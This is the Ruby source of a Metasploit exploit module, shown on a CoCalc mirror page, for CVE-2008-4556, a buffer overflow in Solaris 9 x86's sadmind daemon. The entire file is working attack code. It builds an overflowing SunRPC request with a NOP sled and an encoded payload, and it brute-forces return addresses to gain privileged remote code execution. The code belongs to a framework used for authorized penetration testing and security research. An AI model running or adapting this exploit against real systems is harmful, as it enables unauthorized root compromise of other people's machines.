CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/solaris/sunrpc/sadmind_adm_build_path.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::SunRPC
10
include Msf::Exploit::Brute
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Sun Solaris sadmind adm_build_path() Buffer Overflow',
15
'Description' => %q{
16
This module exploits a buffer overflow vulnerability in adm_build_path()
17
function of sadmind daemon.
18
19
The distributed system administration daemon (sadmind) is the daemon used by
20
Solstice AdminSuite applications to perform distributed system administration
21
operations.
22
23
The sadmind daemon is started automatically by the inetd daemon whenever a
24
request to invoke an operation is received. The sadmind daemon process
25
continues to run for 15 minutes after the last request is completed, unless a
26
different idle-time is specified with the -i command line option. The sadmind
27
daemon may be started independently from the command line, for example, at
28
system boot time. In this case, the -i option has no effect; sadmind continues
29
to run, even if there are no active requests.
30
},
31
'Author' =>
32
[
33
'Ramon de C Valle',
34
'Adriano Lima <adriano[at]risesecurity.org>',
35
],
36
'Arch' => ARCH_X86,
37
'Platform' => 'solaris',
38
'References' =>
39
[
40
['CVE', '2008-4556'],
41
['OSVDB', '49111'],
42
['URL', 'http://risesecurity.org/advisories/RISE-2008001.txt'],
43
],
44
'Privileged' => true,
45
'License' => MSF_LICENSE,
46
'Payload' =>
47
{
48
'Space' => 1024,
49
'BadChars' => "\x00",
50
},
51
'Targets' =>
52
[
53
[
54
'Sun Solaris 9 x86 Brute Force',
55
{
56
'Arch' => [ ARCH_X86 ],
57
'Platform' => 'solaris',
58
'Nops' => 1024 * 32,
59
'Bruteforce' =>
60
{
61
'Start' => { 'Ret' => 0x08062030 },
62
'Stop' => { 'Ret' => 0x08072030 },
63
'Step' => 1024 * 30,
64
}
65
}
66
],
67
[
68
'Sun Solaris 9 x86',
69
{
70
'Nops' => 1024 * 4,
71
'Bruteforce' =>
72
{
73
'Start' => { 'Ret' => 0x08066a60 + 2048 },
74
'Stop' => { 'Ret' => 0x08066a60 + 2048 },
75
'Step' => 1,
76
}
77
}
78
],
79
[
80
'Debug',
81
{
82
'Nops' => 1024 * 4,
83
'Bruteforce' =>
84
{
85
'Start' => { 'Ret' => 0xaabbccdd },
86
'Stop' => { 'Ret' => 0xaabbccdd },
87
'Step' => 1,
88
}
89
}
90
],
91
],
92
'DefaultTarget' => 0,
93
'DisclosureDate' => '2008-10-14'
94
))
95
96
end
97
98
def brute_exploit(brute_target)
99
begin
100
sunrpc_create('udp', 100232, 10)
101
rescue Rex::Proto::SunRPC::RPCTimeout, Rex::Proto::SunRPC::RPCError => e
102
vprint_error(e.to_s)
103
return
104
end
105
106
unless @nops
107
print_status('Creating nop block...')
108
if target['Nops'] > 0
109
@nops = make_nops(target['Nops'])
110
else
111
@nops = ''
112
end
113
end
114
115
print_status("Trying to exploit sadmind with address 0x%.8x..." % brute_target['Ret'])
116
117
hostname = 'localhost'
118
119
# buf1 = rand_text_alpha(1017) + [brute_target['Ret']].pack('L')
120
buf1 = "A" * 1017 + [brute_target['Ret']].pack('L')
121
buf2 = @nops + payload.encoded
122
123
header =
124
Rex::Encoder::XDR.encode(0) * 7 +
125
Rex::Encoder::XDR.encode(6, 0, 0, 0, 4, 0, 4, 0x7f000001, 100232, 10,
126
4, 0x7f000001, 100232, 10, 17, 30, 0, 0, 0, 0,
127
hostname, 'system', rand_text_alpha(16))
128
129
body =
130
do_int('ADM_FW_VERSION', 1) +
131
do_string('ADM_LANG', 'C') +
132
do_string('ADM_REQUESTID', '00009:000000000:0') +
133
do_string('ADM_CLASS', 'system') +
134
do_string('ADM_CLASS_VERS', '2.1') +
135
do_string('ADM_METHOD', buf1) +
136
do_string('ADM_HOST', hostname) +
137
do_string('ADM_CLIENT_HOST', hostname) +
138
do_string('ADM_CLIENT_DOMAIN', '') +
139
do_string('ADM_TIMEOUT_PARMS', 'TTL=0 PTO=20 PCNT=2 PDLY=30') +
140
do_int('ADM_FENCE', 0) +
141
do_string('X', buf2) +
142
Rex::Encoder::XDR.encode('netmgt_endofargs')
143
144
request = header + Rex::Encoder::XDR.encode(header.length + body.length - 326) + body
145
146
begin
147
# two seconds timeout for brute force
148
sunrpc_call(1, request, 2)
149
rescue Rex::Proto::SunRPC::RPCTimeout
150
print_status('Server did not respond, this is expected')
151
rescue Rex::Proto::SunRPC::RPCError => e
152
print_error(e.to_s)
153
end
154
155
sunrpc_destroy
156
handler
157
end
158
159
def do_string(str1, str2)
160
Rex::Encoder::XDR.encode(str1, 9, str2.length + 1, str2, 0, 0)
161
end
162
163
def do_int(str, int)
164
Rex::Encoder::XDR.encode(str, 3, 4, int, 0, 0)
165
end
166
end
167
168